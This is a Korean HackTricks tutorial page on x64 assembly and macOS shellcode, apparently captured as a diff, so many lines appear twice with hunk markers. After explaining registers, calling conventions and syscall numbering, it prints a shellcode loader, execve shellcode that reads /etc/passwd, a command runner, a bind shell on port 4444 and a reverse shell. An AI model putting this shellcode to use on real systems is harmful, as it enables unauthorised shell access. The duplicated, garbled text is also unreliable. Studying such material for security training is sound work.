8. \*\*`r8`\*\*에서 \*\*`r15`\*\*까지 - x64에서 도입된 추가 범용 레지스터입니다.
8. **`r8`**부터 **`r15`** - x64에서 도입된 추가 범용 레지스터입니다.
### **호출 규약**
x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어:
* **Windows**: 처음 **네 개의 매개변수**는 레지스터 **`rcx`**, **`rdx`**, **`r8`**, \*\*`r9`\*\*에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 \*\*`rax`\*\*에 있습니다.
* **System V (UNIX와 유사한 시스템에서 일반적으로 사용됨)**: 처음 **여섯 개의 정수 또는 포인터 매개변수**는 레지스터 **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, \*\*`r9`\*\*에 전달됩니다. 반환 값도 \*\*`rax`\*\*에 있습니다.
* **Windows**: 처음 **네 개의 매개변수**는 레지스터 **`rcx`**, **`rdx`**, **`r8`**, **`r9`**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **`rax`**에 있습니다.
* **System V (UNIX와 유사한 시스템에서 일반적으로 사용됨)**: 처음 **여섯 개의 정수 또는 포인터 매개변수**는 레지스터 **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, **`r9`**에 전달됩니다. 반환 값 또한 **`rax`**에 있습니다.
함수에 여섯 개 이상의 입력이 있는 경우 **나머지는 스택에 전달**됩니다. **RSP**, 스택 포인터는 **16바이트 정렬**이 되어야 하며, 즉, 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 합니다. 이는 일반적으로 우리가 함수 호출 전에 적절하게 RSP를 정렬해야 함을 의미합니다. 그러나 실제로는 이 요구 사항을 충족시키지 않아도 시스템 호출이 많은 경우에도 작동합니다.
함수에 여섯 개 이상의 입력이 있는 경우 **나머지는 스택에 전달**됩니다. **RSP**, 스택 포인터는 **16바이트 정렬**이 되어야 하며, 이는 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 함을 의미합니다. 일반적으로 우리는 함수 호출 전에 쉘코드에서 RSP가 적절하게 정렬되어 있는지 확인해야 합니다. 그러나 실제로는 이 요구 사항을 충족하지 않아도 시스템 호출이 많은 시간 동작합니다.
### Swift의 호출 규약
### Swift에서의 호출 규약
Swift는 자체 **호출 규약**을 가지고 있으며 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)에서 찾을 수 있습니다.
### **일반적인 명령어**
x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로운 명령어를 도입하는 풍부한 세트지고 있습니다.
x64 명령어는 이전 x86 명령어와의 호환성을 유지하 새로운 명령어를 도입하는 풍부한 세트가 있습니다.
* **`mov`**: 한 **레지스터** 또는 **메모리 위치**의 값을 다른 위치로 **이동**합니다.
* 예: `mov rax, rbx``rbx`의 값을 `rax`로 이동합니다.
* **`push`** 및 **`pop`**: 스택에 값을 **푸시**하거나 **팝**합니다.
* 예: `push rax``rax`의 값을 스택에 푸시합니다.
* 예: `pop rax` — 스택의 맨 위 값을 `rax`로 팝합니다.
* **`mov`**: 한 **레지스터** 또는 **메모리 위치**에서 다른 위치로 **값을 이동**합니다.
* 예: `mov rax, rbx``rbx`의 값을 `rax`로 이동합니다.
* **`push`** 및 **`pop`**: **스택**에 값을 **푸시**하거나 **팝**합니다.
* 예: `push rax``rax`의 값을 스택에 푸시합니다.
* 예: `pop rax` — 스택의 맨 위 값을 `rax`로 팝합니다.
* **`add`** 및 **`sub`**: **덧셈****뺄셈** 연산입니다.
* 예: `add rax, rcx``rax``rcx`의 값을 더하여 결과를 `rax`에 저장합니다.
* 예: `add rax, rcx``rax``rcx`의 값을 더하여 결과를 `rax`에 저장합니다.
* **`mul`** 및 **`div`**: **곱셈****나눗셈** 연산입니다. 참고: 피연산자 사용에 대한 특정 동작이 있습니다.
* **`call`** 및 **`ret`**: 함수를 **호출**하고 **리턴**하는 데 사용됩니다.
* **`int`**: 소프트웨어 **인터럽트**를 트리거니다. 예: 32비트 x86 Linux에서 시스템 호출에 `int 0x80`이 사용되었습니다.
* **`cmp`**: 두 값 비교하고 결과에 따라 CPU의 플래그를 설정합니다.
* 예시: `cmp rax, rdx``rax``rdx` 비교합니다.
* **`call`** 및 **`ret`**: 함수를 **호출**하고 **함수에서 반환**하는 데 사용됩니다.
* **`int`**: 소프트웨어 **인터럽트**를 트리거하는 데 사용됩니다. 예: 32비트 x86 Linux에서 시스템 호출에 `int 0x80`이 사용되었습니다.
* **`cmp`**: 두 값 **비교**하고 결과에 따라 CPU의 플래그를 설정합니다.
* 예: `cmp rax, rdx``rax``rdx` 비교합니다.
* **`je`, `jne`, `jl`, `jge`, ...**: 이전 `cmp` 또는 테스트의 결과에 따라 제어 흐름을 변경하는 **조건부 점프** 명령어입니다.
* 예: `cmp rax, rdx` 명령어 후, `je label``rax``rdx`와 같으면 `label`로 점프합니다.
* 예: `cmp rax, rdx` 명령어 후, `je label``rax``rdx`와 같으면 `label`로 점프합니다.
* **`syscall`**: 일부 x64 시스템(현대 Unix와 같은)에서 **시스템 호출**에 사용됩니다.
* **`sysenter`**: 일부 플랫폼에서 최적화된 **시스템 호출** 명령어입니다.
@ -69,18 +69,18 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
1. **이전 베이스 포인터를 푸시**: `push rbp` (호출자의 베이스 포인터 저장)
2. **현재 스택 포인터를 베이스 포인터로 이동**: `mov rbp, rsp` (현재 함수의 새로운 베이스 포인터 설정)
3. **로컬 변수를 위 스택에 공간 할당**: `sub rsp, <size>` (`<size>`는 필요한 바이트 수입니다)
3. **로컬 변수를 위 스택에 공간 할당**: `sub rsp, <size>` (<size>는 필요한 바이트 수입니다)
### **함수 에필로그**
1. \*\*현재 베이
1. **현재 베이스 포인터를 스택 포인터로 이동**: `mov rsp, rbp` (로컬 변수 해제)
2. **이전 베이스 포인터를 스택에서 팝**: `pop rbp` (호출자의 베이스 포인터 복원)
3. **반환**: `ret` (호출자에게 제어 반환)
## macOS
### syscalls
다양한 종류의 syscalls가 있습니다. [**여기에서 찾을 수 있습니다**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
### 시스템 호출
다양한 종류의 시스템 호출이 있습니다. [**여기에서 찾을 수 있습니다**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -89,9 +89,7 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
그럼, 각 시스콜 번호를 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)\*\* 찾을 수 있습니다:\*\*
그럼, 각 시스템 호출 번호를 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)** 찾을 수 있습니다:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -108,14 +106,13 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
그래서 **Unix/BSD 클래스**에서 `open` 시스템 호출(**5**)을 하려면 `0x2000000`을 추가해야 합니다.
그래서 **Unix/BSD 클래스**에서 `open` 시스콜(**5**)을 호출하려면 다음과 같이 추가해야 합니다: `0x2000000`
따라서 open을 호출하기 위한 시스콜 번호는 `0x2000005`가 됩니다.
따라서 `open`을 호출하기 위한 시스템 호출 번호는 `0x2000005`가 됩니다.
### 쉘코드
컴파일하기 위해:
컴파일하려면:
{% code overflow="wrap" %}
```bash
@ -128,7 +125,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
@ -140,43 +137,60 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>쉘코드를 테스트하기 위한 C 코드</summary>
<summary>쉘코드를 테스트하는 C 코드</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (*sc)();
int (\*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
char shellcode\[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
printf("\[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
sc = ptr; sc();
return 0; }
````
return 0;
}
```
</details>
#### 쉘
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용이며 설명되어 있습니다.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='adr를 사용한 경우'></div>
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.
{% tabs %}
{% tab title="adr를 사용한 경우" %}
```armasm
bits 64
global _main
@ -190,8 +204,10 @@ push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````
```
{% endtab %}
{% tab title="스택 사용" %}
```armasm
bits 64
global _main
@ -207,11 +223,12 @@ pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
**cat으로 읽기**
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이므로, 두 번째 인자 (x1)는 매개변수의 배열입니다 (메모리에서는 주소의 스택을 의미합니다).
#### cat으로 읽기
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미합니다).
```armasm
bits 64
section .text
@ -242,9 +259,7 @@ section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
**sh를 사용하여 명령 실행하기**
#### sh를 사용하여 명령 호출
```armasm
bits 64
section .text
@ -282,11 +297,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Bind 쉘
**바인드 쉘**
[https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html)에서 가져온 **포트 4444**의 바인드 쉘입니다.
[https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html)에서 **포트 4444**의 Bind 쉘
```armasm
section .text
global _main
@ -361,11 +374,9 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### 리버스 쉘
**리버스 쉘**
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)에서 가져온 리버스 쉘입니다. **127.0.0.1:4444**로 리버스 쉘을 실행합니다.
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)에서 제공된 리버스 쉘. **127.0.0.1:4444**로의 리버스 쉘.
```armasm
section .text
global _main
@ -427,7 +438,16 @@ mov rax, r8
mov al, 0x3b
syscall
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>